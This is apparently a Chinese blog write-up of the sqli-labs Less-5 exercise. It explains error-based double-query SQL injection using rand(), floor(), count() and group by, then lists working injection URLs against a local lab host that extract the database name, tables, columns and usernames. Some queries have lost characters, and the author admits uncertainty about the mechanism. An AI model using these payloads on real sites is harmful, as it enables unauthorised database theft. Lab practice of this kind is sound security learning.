Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
一.双查询注入–基本原理
上来先看一下是什么点,还是先来sqlmap跑一下子
开始以为还是简‘单位闭合,再一细看没有回显,看样子只能先来基于报错的注入了
在这里我们先了解一下什么叫做 双查询注入 他的语法结构 以及为什么这样构造
我们理解一下子查询,查询的关键字是select,这个大家都知道。子查询可以简单的理解在一个select语句里还有一个select。里面的这个select语句就是子查询。
看一个简单的例子:
Select concat((select database()));
真正执行的时候,先从子查询进行。因此执行select database() 这个语句就会把当前的数据库查出来,然后把结果传入到concat函数。这个函数是用来连接的。比如 concat(‘a’,’b’)那结果就是ab了。
原理:
双注入查询需要理解四个函数/语句
-
Rand() //随机函数
-
Floor() //取整函数
-
Count() //汇总函数
-
Group by clause //分组语句
简单的一句话原理就是有研究人员发现,当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。
以本地一个名为Security的数据库为例进入数据库,然后通过use security; 就可以切换到security数据库了,然后我们测试一下concat的用法。上图
顺便测试一下rand()这个随机函数,注意看我执行了几次,每次都会产生一个0-1之间的数值
子
继续floor(),这个函数就是返回小于等于你输入的数的整数。然后我们看看双注入查询中的一个简单组合。
select floor(rand()*2);
这下子明白这个函数的作用了吧
我们从里向外看。rand() 返回大于0小于1的小数,乘以2之后就成了小于0小于2了。然后对结果进行取证。就只能是0或1了。也就是这个查询的结果不是1,就是0。 看这个查询
select concat((select database()),floor(rand()*2));
不要怕。先看最里面的SELECT database() 这个就返回数据库名,这里就是security了。然后FLOOR(RAND()*2)这个上面说过了。不是0,就是1.然后把这两个的结果进行concat连接,那么结果不是security0就是security1了。
如果我们把这条语句后面加上from 一个表名。那么一般会返回security0或security1的一个集合。数目是由表本身有几条结果决定的。比如一个管理表里有3个管理员。这个就会返回3条记录,这里users表里有20个用户,所以返回了20条
如果是从information_schema.schemata里,这个表里包含了mysql的所有数据库名。这里本机有6个数据库。所以会返回6个结果
现在我们准备加上Group By 语句了。
select concat((select database()),floor(rand()2))as a from information_schema.schemata group by a;
我们把concat((select database()), floor(rand()2)) 这个结果取了一个别名 a ,然后使用他进行分组。这样相同的security0分到一组,security1分到一组。
意这里的database()可以替换成任何你想查的函数,比如version(), user(), datadir()或者其他的查询。比如查表啊。查列啊。原理都是一样的。
最后把count()加上
select count(), concat((select database()), floor(rand()2))as a from information_schema.tables group by a;
这样就报出错误来了,错误信息有我们需要的。我的理解是:floor(rand()2)函数取整结果要么是0,要么是1。concat()函数把我们需要参数和0或1合并起来,group by 对其进行分组,自然就会分成两组,X0或X1,然后再把count()引入进来。
count() 是个聚合函数 作用是求表的所有记录数
select * from 表名 这个是查询表的所有记录
select count() from 表名 这个是查询表的所有记录数
我的理解是select count(*),2 from concat(payload,tables)as a gropu by a,因为concat无法统计时,所以会报错。
![在这里插入图片描述](https://img-blog.csdnimg.cn/2020031819460491.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ppbWdnZw==,size_16,color_FFFFFF,t_70
??????????这个我自己应该是理解,容我找更清晰的解释,再更正之,呵呵!
二.基于报错显示的注入
http://192.168.1.21/sqli-labs-master/Less-5/?id=1 order by 4--+
http://192.168.1.21/sqli-labs-master/Less-5/?id=1' order by 3--+
把当前数据库显示出来吧
http://192.168.1.21/sqli-labs-master/Less-5/?id=1'union select null,count(*),concat((select database()),floor(rand()*2))a from information_schema.tables group by a --+
接下来爆表名
http://192.168.1.21/sqli-labs-master/Less-5/?id=1'union select null,count(*),concat((select table_name from information_schema.schemata where table_schema='security'),floor(rand()*2))as a from information_schema.tables group by a--+
结果多余一行 报错了,用 limit函数
http://192.168.1.21/sqli-labs-master/Less-5/?id=1' union select null,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 4,1),floor(rand()*2))as a from information_schema.tables group by a --+
查列
http://192.168.1.21/sqli-labs-master/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_schema='security' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a --+
改limit值,依次查列名
查字段名
http://192.168.1.21/sqli-labs-master/Less-5/?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a --+
少就是多,慢就是快,